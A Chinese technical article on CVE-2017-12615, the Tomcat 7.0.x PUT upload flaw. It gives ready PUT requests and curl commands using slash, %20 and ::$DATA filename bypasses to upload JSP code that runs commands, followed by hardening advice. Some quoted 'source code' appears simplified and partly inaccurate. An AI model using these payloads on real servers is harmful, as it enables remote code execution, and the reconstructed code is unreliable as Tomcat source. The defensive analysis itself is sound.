Tomcat 7.0.x PUT漏洞深度解析:3种绕过姿势与DefaultServlet源码分析 Tomcat 7.0.x PUT漏洞深度解析3种绕过姿势与DefaultServlet源码分析Apache Tomcat作为Java生态中最广泛使用的Web应用服务器之一其安全性直接关系到数百万线上服务的稳定运行。2017年曝光的CVE-2017-12615漏洞因其特殊的绕过机制和严重的危害性成为Web安全领域的经典研究案例。本文将深入剖析该漏洞的底层原理通过源码分析揭示三种不同绕过手法的技术本质并对比其在Windows/Linux环境下的差异表现。1. 漏洞背景与影响范围CVE-2017-12615是一个典型的配置不当导致的任意文件上传漏洞影响Apache Tomcat 7.0.0至7.0.79版本。当服务器配置了readonlyfalse参数时攻击者可以通过精心构造的PUT请求上传恶意JSP文件。漏洞核心条件Tomcat版本在受影响范围内web.xml中DefaultServlet的readonly参数显式设置为false攻击者能够发送PUT请求到服务端与常见文件上传漏洞不同该漏洞的独特之处在于需要特殊技巧绕过Tomcat的文件类型检测机制。正常情况下即使开启了PUT方法直接上传.jsp文件也会被拦截这就需要利用系统特性构造特殊文件名。2. DefaultServlet源码深度解析要理解漏洞本质必须分析Tomcat处理PUT请求的核心逻辑。在org.apache.catalina.servlets.DefaultServlet类中doPut方法负责处理上传请求protected void doPut(HttpServletRequest req, HttpServletResponse resp) { if (readOnly) { resp.sendError(HttpServletResponse.SC_FORBIDDEN); return; } String path getRelativePath(req); WebResource resource resources.getResource(path); if (resource.exists()) { // 处理已有资源更新 } else { // 创建新资源 createResource(resource, req, resp); } }关键处理流程如下图所示权限检查阶段首先检查readOnly标志位若为true则立即返回403错误路径处理阶段通过getRelativePath方法标准化请求路径资源操作阶段根据资源是否存在执行更新或创建操作JSP处理机制的特殊性protected void service(HttpServletRequest req, HttpServletResponse resp) { String jspUri req.getRequestURI(); if (jspUri.endsWith(.jsp) || jspUri.endsWith(.jspx)) { // 交给JspServlet处理 } else { // DefaultServlet处理逻辑 } }正是这种基于后缀名的路由分发机制为后续的绕过手法提供了可能。3. 三种经典绕过技术剖析3.1 斜杠截断绕过/适用环境全平台通用技术原理 当请求路径以/结尾时Tomcat的路径解析逻辑会将其识别为目录请求从而绕过JspServlet的检测PUT /malicious.jsp/ HTTP/1.1 Host: target.com Content-Type: text/plain % Runtime.getRuntime().exec(calc); %源码层面分析 在org.apache.tomcat.util.http.parser.HttpParser中路径标准化处理会移除末尾的/字符private static String normalizePath(String path) { while (path.endsWith(/)) { path path.substring(0, path.length()-1); } return path; }但此时文件已通过DefaultServlet的检测最终写入磁盘时保留了.jsp后缀。3.2 Windows空格截断%20适用环境仅Windows系统技术实现 利用Windows文件系统自动去除后缀空格的特性PUT /malicious.jsp%20 HTTP/1.1 Host: target.com Content-Length: 25 % out.println(test); %底层机制Tomcat将%20解码为空格字符Windows文件API在创建文件时自动去除后缀空格访问时需使用原始URL编码路径3.3 NTFS数据流绕过::$DATA适用环境仅Windows系统高级技巧 利用NTFS文件系统的备用数据流特性PUT /malicious.jsp::$DATA HTTP/1.1 Host: target.com Content-Type: text/plain %page importjava.util.*%技术细节特性说明流名称::$DATA表示文件主数据流文件存储实际写入malicious.jsp文件访问方式需省略::$DATA访问4. 跨平台行为对比分析不同操作系统对特殊字符的处理差异导致绕过效果不同绕过技术WindowsLinux根本原因斜杠(/)有效有效路径标准化处理空格(%20)有效无效文件系统差异NTFS流有效无效文件系统特性实际测试数据# Windows环境测试结果 curl -X PUT http://win-server/test.jsp/ -d payload # 成功 curl -X PUT http://win-server/test.jsp%20 -d payload # 成功 curl -X PUT http://win-server/test.jsp::$DATA -d payload # 成功 # Linux环境测试结果 curl -X PUT http://linux-server/test.jsp/ -d payload # 成功 curl -X PUT http://linux-server/test.jsp%20 -d payload # 失败 curl -X PUT http://linux-server/test.jsp::$DATA -d payload # 失败5. 防御方案与最佳实践根据漏洞形成原理提供多层次的防护建议1. 基础防护!-- 修改conf/web.xml配置 -- init-param param-namereadonly/param-name param-valuetrue/param-value /init-param2. 进阶方案升级到Tomcat 7.0.81版本配置SecurityManager限制文件创建权限使用Web应用防火墙拦截恶意PUT请求3. 检测脚本示例#!/bin/bash # 检测readonly配置 grep -A5 readonly $CATALINA_HOME/conf/web.xml | grep false \ echo Vulnerable configuration detected!在云原生环境下还需要考虑容器化部署的特殊性。通过Dockerfile加固的示例FROM tomcat:7.0 RUN sed -i /init-param/a\\tparam-namereadonly/param-name\n\tparam-valuetrue/param-value \ /usr/local/tomcat/conf/web.xml6. 漏洞研究延伸思考从CVE-2017-12615中可以提炼出以下安全启示默认安全原则readonly参数默认为true是合理设计深度防御单一防护措施不足以保证安全协议特性HTTP方法需要谨慎启用系统差异跨平台特性可能引入安全隐患对于希望深入研究Tomcat安全的读者建议从以下方向着手分析JspServlet与DefaultServlet的协作机制研究Tomcat的URL解析算法跟踪后续相关CVE的修复方案理解这类漏洞的底层原理不仅能帮助防御已知威胁更能培养发现新型漏洞的安全思维。在后续的Tomcat版本中虽然官方修复了此特定问题但类似的逻辑缺陷仍然值得持续关注。